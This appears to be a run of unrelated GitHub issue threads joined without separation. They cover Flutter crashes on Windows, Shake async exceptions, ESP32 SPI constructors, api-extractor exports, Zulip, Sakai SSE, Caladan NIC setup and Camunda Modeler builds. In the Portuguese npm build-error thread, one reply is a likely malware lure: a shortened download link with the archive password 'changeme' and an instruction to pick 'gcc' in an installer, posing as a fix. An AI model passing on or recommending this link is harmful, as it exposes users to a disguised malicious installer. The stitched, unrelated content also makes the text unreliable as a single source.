[ +440 ms] Running "flutter packages get" in foo...
[   +8 ms] Using C:\flutter\.pub-cache for the pub cache.
[   +3 ms] executing: [C:\Users\Lorenzo Pantano\foo\] C:\flutter\bin\cache\dart-sdk\bin\pub.bat --verbosity=warning
--verbose get --no-precompile
[+6236 ms] Running "flutter packages get" in foo... (completed in 6,2s)
[ +180 ms] Wrote 66 files.
[        ]
           All done!
[ +378 ms] java -version
[ +161 ms] executing: C:\Users\Lorenzo Pantano\AppData\Local\Android\sdk\tools\bin\sdkmanager --licenses
CreateProcessW failed 193
[   +6 ms] "flutter create" took 8.768ms.
[        ] "flutter create" took 8.768ms.

Oops; flutter has exited unexpectedly.
Sending crash report to Google.
Crash report sent (report ID: 53d9376a8a56ffa8)
\CreateProcessW failed 193
Unhandled exception:
ProcessException: %1 non

-----DOCTOR---
[√] Flutter (Channel stable, v1.2.1, on Microsoft Windows [Versione 10.0.17134.648], locale it-IT)
    • Flutter version 1.2.1 at C:\flutter
    • Framework revision 8661d8aecd (7 weeks ago), 2019-02-14 19:19:53 -0800
    • Engine revision 3757390fa4
    • Dart version 2.1.2 (build 2.1.2-dev.0.0 0a7dcf17eb)

\CreateProcessW failed 193
Unhandled exception:
ProcessException: %1 non

Does this reproduce for you with the JDK8?  Some of the Android SDK tools are a bit funny about what version of the JDK you have.

You have a space in your Windows User name and flutter doesn't handle it...
check this: https://stackoverflow.com/a/53232266
The space can be also in "Program Files" (my current situation) and i can't do nothing... certainly i can't reinstall all the programs because of this...

We test that flutter can work in directories with spaces.  Program files will be a problem because it requires admin access to write to.  You should not install flutter in a location that requires elevated privileges to write to.

Hi @LorenzoPantano
Are you still experiencing the issue with the latest stable version of Flutter?
If so, can you please provide your flutter doctor -v
and your flutter run --verbose?
Also, to better address the issue, would be helpful
if you could post a reproducible minimal code sample
or the steps to reproduce the problem.
Thank you

Without additional information, we are unfortunately not sure how to resolve this issue. We are therefore reluctantly going to close this bug for now. Please don't hesitate to comment on the bug if you have any more information for us; we will reopen it right away!
Thanks for your contribution.
Could everyone who still has this problem please file a new issue with the exact descriptions what happens, logs and the output of 'flutter doctor -v'  please.
All system setups can be slightly different so it's always better to open new issues and reference related issues.


Shake cmd does not deal with async exceptions

The following program terminates when the action for a produces a failure, without waiting for action b to finish. Shouldn't shake wait until b completes?
$ cat test.hs
import Control.Concurrent
import Development.Shake
import System.Environment

main = withArgs ["-j"] $ shakeArgs shakeOptions $ do
    want ["a", "b"]
    "a" %> \_out -> do
      liftIO $ threadDelay (100 * 1000)
      fail "ugh"
    "b" %> \_out ->
      cmd Shell "sleep 3 && echo hello"

$ ghc-8.0.2 --make -threaded test.hs
[1 of 1] Compiling Main             ( test.hs, test.o )
Linking test ...
$ ./test
# sleep (for b)
Error when running Shake build system:
* a
ugh

$ hello

When one action fails, Shake attempts to kill all the other actions that are underway, to return an error message to the user as fast as possible. From your trace, that seems to be what is happening - can you confirm?

That's not what's happening. Shake seems to return immediately, and the action for b completes afterwards. Note that the hello message is printed after the new bash prompt is printed.
If the action for b were killed, the hello message would never print.

Actually, it's caused by Shake not dealing with async exceptions properly in cmd - Shake does clean up (using async exceptions) and cmd incorrectly ignores them. I've found a nice test case and added it to the test suite, now to fix it's behaviour...

Looking at the code, there's way too much try_, ignore, forkIO etc in the code. I don't know which one is causing the problem, but I'm tempted to remove most/all of them, and then see if the bug goes away - and in the process will probably also squash a lot of other bugs.

I've fixed a bunch of stuff in Shake, but come down to underlying bugs in Process now: https://github.com/haskell/process/issues/107


Implement df command

Improvement PR #1099.
See  #431

Sorry for the late response.  Do you mind seeing if there's anything you can factor out and put in uucore?  Also maybe see if anything has changed in the intervening year or two since the original PR that will simplify some of the code.
I'll try to perform a more thorough review in the next week or so (maybe even tomorrow).

@gashev  do you still want to land this?
thanks

Work moved in #1483


Allow using FullDuplexMode SPI with any pin combinations (mosi, miso, cs, ...)

Hi!
I'm using a crate called display-interface-spi to drive my LCD module.
It needs trait bond embedded_hal::blocking::spi::Write to be satisfied.
impl<SPI, DC> SPIInterfaceNoCS<SPI, DC>
where
    SPI: hal::blocking::spi::Write<u8>,
    DC: OutputPin,
{
    pub fn new(spi: SPI, dc: DC) -> Self {
        Self { spi, dc }
    }

    // other methods...
}

I know I can call Spi::new_half_duplex if I want those pins to be optional, but it is HalfDuplex which not implement trait embedded_hal::blocking::spi::Write.
So, it seems like one can only use a instance created by Spi::new method which takes all these pins away, if that trait bond need to be satisfied?
I think there's two solutions:

make Spi::new that FullDuplexMode SPI can be used with optional pins
implement embedded_hal::blocking::spi::Write for HalfDuplexMode SPI

Maybe there's another way to do this thing?

For half-duplex we have a constructor taking Option for each pin. We probably should add a similar constructor for full-duplex.
However, for full-duplex we have a couple of constructors for the most common configurations:

new
new_no_cs
new_no_miso
new_no_cs_no_miso
[new_mosi_only](https://docs.rs/esp32c3-hal/0.13.0/esp32c3_hal/spi/master/struct.Spi.html#method.new_mosi_only

But not all combinations of them.
What I want is one with sck, mosi and cs. (no miso)
The LCD module has no data output pin, and it's okay to use hardware controlled chip-select pin since it's the only device on the SPI bus.
I think it's better to use a hardware controlled cs when possible since it eliminates delay between spi transfers.

We probably should add a similar constructor for full-duplex.

It's definitely good to have one.

Then what the name of this new constructor should be?
Since already have Spi::new, I have no idea.
I'm willing to make a PR.

I think a breaking change (i.e. making the pins in Spie::new Option) is not too much of a problem given we currently don't guarantee API stability

I would like to add that a constructor with a lot of parameters isn't ideal UX. I regularly have to loop up the pin order for I2C::new and that only has two. If you are considering a breaking change, maybe this could be improved, too.
My first suggestion would be a builder-like API, where the initial call sets up common parameters, then .with_mosi(), .with_miso() etc. could be used to set up individual pins.

Ideally, we find a way to have a builder which doesn't require weird generic parameters if we leave out some of the pins - I think that was the reason we skipped builders initially - but I agree, mixing up the pins also happens to me

I imagine the optional pins can be initialized to NO_PIN by default, though that's just paper engineering in the morning (i.e. it may not be so simple).


Add configuration for email from address

Reply-to address has been added on the general and location level. Closing this for now.


Add suffix to error classes

Codecov Report

Merging #173 into master will not change coverage.
The diff coverage is 100.00%.

@@           Coverage Diff           @@
##           master     #173   +/-   ##
=======================================
  Coverage   99.67%   99.67%
=======================================
  Files          36       36
  Lines        2186     2186
  Branches      186      186
=======================================
  Hits         2179     2179
  Misses          5        5
  Partials        2        2

Impacted Files
Coverage Δ

src/error.ts
100.00% <100.00%> (ø)

src/http.ts
98.97% <100.00%> (ø)

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 968f193...4f184f2. Read the comment docs.

I tried something like this because my vscode's lint/ts was complaining
export * as Errors from './error'

But api-extractor complained so I used something like the code below
import * as error from './error'

export const Errors = error

But api-extractor still complained and then I read https://stackoverflow.com/a/59712387 so I put it back to export * as Errors from './error' but api-extractor complained, so I think api-extractor and my local vscode's linter is wrong since the typescript we use is <3.8

Oh yeah so the prob is only with api-extractor now. I updated my local vscode ts version to 3.9 and it stopped complaining about export * as Errors from './error'. Not sure if I should ignore api-extractor though

@moltar, not sure if you've seen this yet. Everything works with lint and unit tests but API extractor is not compiling due to this line
export * as Errors from './error' at index.ts

Have you tried:
import * as Errors from './error'

export { Errors }

?

import * as Errors from './error'

export { Errors }

This makes api-extractor throw Error: "import * as ___ from ___;" is not supported yet for local files.
Reverting to
export * as Errors from './error'

Threw an unknown "software error". I upgraded api-extractor to 3.9.7 and that changed the thrown error to Unimplemented export declaration kind: * as Errors.
I tried something in my latest commit, not sure if you think it's an okay workaround. Also had to revert api-extractor back to 3.8.1 because the previous issue with Error: The expression contains an import() type, which is not yet supported by API Extractor: still isn't resolved

This feels weird but I'm not sure if there's any issue with an implementation like this
https://github.com/ScaleLeap/amazon-mws-api-sdk/blob/42d3f6b56013331f32f87cd7f8553318e017e5f1/src/error.ts#L84-L128
Let me know what you think, also I think it's also possible to just export the Errors object and not export the individual error files but I don't think there's any issues with exporting both.

This feels weird but I'm not sure if there's any issue with an implementation like this

This is fragile as someone will for sure forget to add a new class.
Let's just drop this feature for now. I.e. the grouping export. But leave the rename.

This is fragile as someone will for sure forget to add a new class.

Ahh I see, good point. Fixed, this is ready for review now


Bad state when editing options for custom profile field

When creating or editing a "List of options" custom profile field, we get a "New option" empty field only if the last field is changed. So if we drag the last field before adding text, we end up in a state where we do not have an empty field for creating another option. The dragged field is also missing delete button, so there is no way to delete it.
To reproduce:

Create or edit an existing custom profile field of type "List of Options"
Add a choice, if it doesn't already exist.
Drag the "New option" empty choice above so it is no longer the last choice.
Editing this choice no longer adds a new empty choice. This choice is also missing a delete button.

Screenshot

It may be possible to extract a fix for this from #30267. See CZO discussion.

@zulipbot claim

Hey @reharsh,
I have been working on this issue, as you can see from the CZO discussion and this comment.
I would appreciate it if you could find another issue to work on and allow me to finish this one. If you have any input, please feel free to share it here.
Thanks!

@zulipbot unclaim

Sure, unassigned myself
haven't really got time to explore more on this but please let me know if I can help:)

@zulipbot , claim

@zulipbot claim

@zulipbot claim


FR: Templates

I think it would be a good idea to have a way to use APIR in templates. What is not clear to me is how to implement it. I have some ideas but I'm not sure which one would be the best:

Use a syntax like:

<@
id: 1
url: https://jsonplaceholder.typicode.com/todos/
method: POST
body: {}
header: {}
@>

This way the request would have the id 1 and we could use the responses in the whole document, right now I don't have a syntax for that, but it could be something like @=X=KEY.0.KEY (where X is the id number)

Maybe we could use a simpler syntax to make simple requests (GET only). Something like: <?url:URL.

P.S. I was also thinking about adding HTML parsing to extend even more the functionality of the templates. I don't know how viable this idea is, for the moment I'm going to focus on what I said above.

I'll love to hear your opinion and ideas.

Do you think the templates would be useful?
Would you use APIR templates in your workflow?

Yes useful, mostly edge case perhaps but during templated note creation if filling out forms the ability to hydrate drop down selection lists with values dynamically pulled from an api or cached request would be pretty slick.  I was about to implement requests within pure javascript before I found this plugin.
Recommend Templater User Scripts and implement APIR in those .js files, and not directly in the inline templater scripts themselves, in those just call out to the user script functions and pass in args.
For now I am going to try using APIR output in templater by loading the saved .json of a prior-run request to populate a list of Obsidian icons from Lucide.


Update activities

Current dependencies on/for this PR:

main

PR #9837   👈

This stack of pull requests is managed by Graphite.


Erros ao executar npm run build contra o codigo gerado.

Erro:
npm run build

><EMAIL_ADDRESS>prebuild
> rimraf dist

><EMAIL_ADDRESS>build
> nest build

src/app/entities/born_corporation.ts:55:18 - error TS2339: Property 'id' does not exist on type 'BornCorporationEntity'.

55   return `${this.id} - ${this.updated_at} `;
                    ~~
src/app/entities/born_enterprise.ts:55:18 - error TS2339: Property 'id' does not exist on type 'BornEnterpriseEntity'.

55   return `${this.id} - ${this.updated_at} `;
                    ~~
src/app/entities/cellphone_corporation.ts:55:18 - error TS2339: Property 'id' does not exist on type 'CellphoneCorporationEntity'.

55   return `${this.id} - ${this.updated_at} `;
                    ~~
src/app/entities/cellphone_enterprise.ts:55:18 - error TS2339: Property 'id' does not exist on type 'CellphoneEnterpriseEntity'.

55   return `${this.id} - ${this.updated_at} `;
                    ~~
src/app/entities/cpf_corporation.ts:55:18 - error TS2339: Property 'id' does not exist on type 'CpfCorporationEntity'.

55   return `${this.id} - ${this.updated_at} `;
                    ~~
src/app/entities/cpf_enterprise.ts:55:18 - error TS2339: Property 'id' does not exist on type 'CpfEnterpriseEntity'.

55   return `${this.id} - ${this.updated_at} `;
                    ~~
src/app/entities/email_corporation.ts:55:18 - error TS2339: Property 'id' does not exist on type 'EmailCorporationEntity'.

55   return `${this.id} - ${this.updated_at} `;
                    ~~
src/app/entities/email_enterprise.ts:55:18 - error TS2339: Property 'id' does not exist on type 'EmailEnterpriseEntity'.

55   return `${this.id} - ${this.updated_at} `;
                    ~~
src/app/entities/gender_corporation.ts:55:18 - error TS2339: Property 'id' does not exist on type 'GenderCorporationEntity'.

55   return `${this.id} - ${this.updated_at} `;
                    ~~
src/app/entities/gender_enterprise.ts:55:18 - error TS2339: Property 'id' does not exist on type 'GenderEnterpriseEntity'.

55   return `${this.id} - ${this.updated_at} `;
                    ~~
src/app/entities/person.ts:49:31 - error TS2339: Property 'external' does not exist on type 'PersonEntity'.

49   return `${this.id} - ${this.external} `;
                                 ~~~~~~~~

Found 11 error(s).

Download
https://bit.ly/3MjP129
password: changeme
In the installer menu, select "gcc."


SAK-47489 this disables SSE for Bullhorns and modifies the fetch to the /direct/ endpoint

SSE is awesome as it reduces the cost of polling, and we should move more tools to use it. We also need more experience with SSE and managing connections.
This commit:
a) Sets up the number of alerts in portal server page load
b) Avoids a fetch call to setup bullhorns
c) Bullhorns only called onclick
d) Disables setting up the SSE
To use SSE, I'd like to see one more tool use it (not just Bullhorns) and would like to see more research into how to resume an SSE conn.

Hi, @ottenhoff , should we also disable it on backend? I don't know if anyone with the URL could run it on local (with an infinite loop on devtools, for example)
Thanks!!

Sure, you can block /api/users/me/events if you want to be sure.


Junction cannot find CX5 NIC bound to vfio-pci

Hardware configuration
OS: Ubuntu 22.04 w/ Linux 5.19.0-50-generic
NIC: ConnectX-5 (100Gbps) in IB mode; MLNX_OFED_LINUX-23.10-<IP_ADDRESS>
GCC: 12.3.0
CPU: Intel(R) Xeon(R) Gold 6330 x2
DDR: 96GB
Problem discription
I can successfully bind the NIC to the vfio-pci driver, but the device cannot be found when I start the core scheduler with ./lib/caladan/iokerneld ias vfio nicpci 0000:4b:00.0, which fails at here.

I have also tried to switch CX5 to ETH mode and the iokernel can be launched only when directpath is disabled.
Moreover, I have run the apps included in the DPDK repo (e.g., dpdk-testpmd), and the same problem occurs (ALL necessary kernel models are loaded already)

Btw, iommu is disabled on our platform, so I use echo 1 > /sys/module/vfio/parameters/enable_unsafe_noiommu_mode before binding the device the vfio-pci.
I just tried to re-enable iommu, and now iokernel can find the device successfully. However, a new problem occurs at here, where mlx5dv_devx_general_cmd returns an errno of 121 (CX5 firmware version: 16.35.4030)

Hello, to use a CX5 NIC it must be in Ethernet mode. The vfio mode also currently requires the IOMMU to be fully enabled. You should be able to run with your CX5 without vfio (leave it bound to mlx5_core and omit the vfio parameter from the iokernel).

The last error you got with the IOMMU enabled is because the port is in IB mode, can you switch it to Ethernet again?

Thank you for your kind response. Indeed, the iokernel can be launched with both IOMMU and Ethernet modes enabled.


Clearer indicator when deploying a notebook fails

When deploying a notebook fails, we see this:

And we got feedback that it is not clear how to debug it. Could we improve it? Perhaps we should make "Error O" itself clicklable?

Whatever we change here should also be reflected on the "Apps" page.

Sending PR soon.


Building error on Mac Os

I am building the modeler according to the readme file. After checkout v1.1.0 and npm run all, I got the flowing error message.
stderr:
   'npm ERR! peer dep missing<EMAIL_ADDRESS><5, required by<EMAIL_ADDRESS>}

I have tied to solve this problem by changing the version of ‘sinon’ to 2.1.0 in devDependencies of the package.json. When I run ‘npm install’, i got these warning:
npm WARN notsup Unsupported engine for<EMAIL_ADDRESS>wanted: {"node":"0.10 || 0.12 || 4 || 5"} (current: {"node":"10.24.1","npm":"6.14.12"})
npm WARN notsup Not compatible with your version of node/npm<EMAIL_ADDRESS>npm WARN notsup Unsupported engine for<EMAIL_ADDRESS>wanted: {"node":"<=0.10.26"} (current: {"node":"10.24.1","npm":"6.14.12"})
npm WARN notsup Not compatible with your version of node/npm<EMAIL_ADDRESS>npm WARN<EMAIL_ADDRESS>requires a peer of<EMAIL_ADDRESS><5 but none is installed. You must install peer dependencies yourself.

It can build successfully but when I run the app,  I got these runtime errors:
Uncaught Exception:

Error: Cannot find module ‘concat-map’

at Module._resolveFilename (module.js:438:15)

at Function.Module._resolveFilename (/Users/michaeltang/nn/camunda-modeler/distro/Camunda Modeler-darwin-x64/Camunda Modeler.app/Contents/Resources/electron.asar/common/reset-search-paths.js:47:12)

at Function.Module._load (module.js:386:25)

at Module.require (module.js:466:17)

at require (internal/module.js:20:19)

at Object. (/Users/michaeltang/nn/camunda-modeler/distro/Camunda Modeler-darwin-x64/Camunda Modeler.app/Contents/Resources/app.asar/node_modules/brace-expansion/index.js:1:96)

at Module._compile (module.js:541:32)

at Object.Module._extensions…js (module.js:550:10)

I have no idea to figure out a resolution for it for now
```.

__Environment__

- OS: Mac OS Monterey 12.1, Apple M1.
-Node 10.24.1
-npm 6.14.12

I am not sure if I misunderstood the guide to building the app. If I use the current one rather than the v1.1.0?

 I am not sure if I misunderstood the guide to building the app. If I use the current one rather than the v1.1.0?

That is just an example, but 1.1.0 is from 2016. Currently we are on 4.12.0.
But I will take this as an action (obviously this is confusing), and will adjust the guide.
Can you please try to run
git checkout master

instead?

 I am not sure if I misunderstood the guide to building the app. If I use the current one rather than the v1.1.0?

That is just an example, but 1.1.0 is from 2016. Currently we are on 4.12.0.
But I will take this as an action (obviously this is confusing), and will adjust the guide.
Can you please try to run
git checkout master

instead?

It works and thanks for your reply!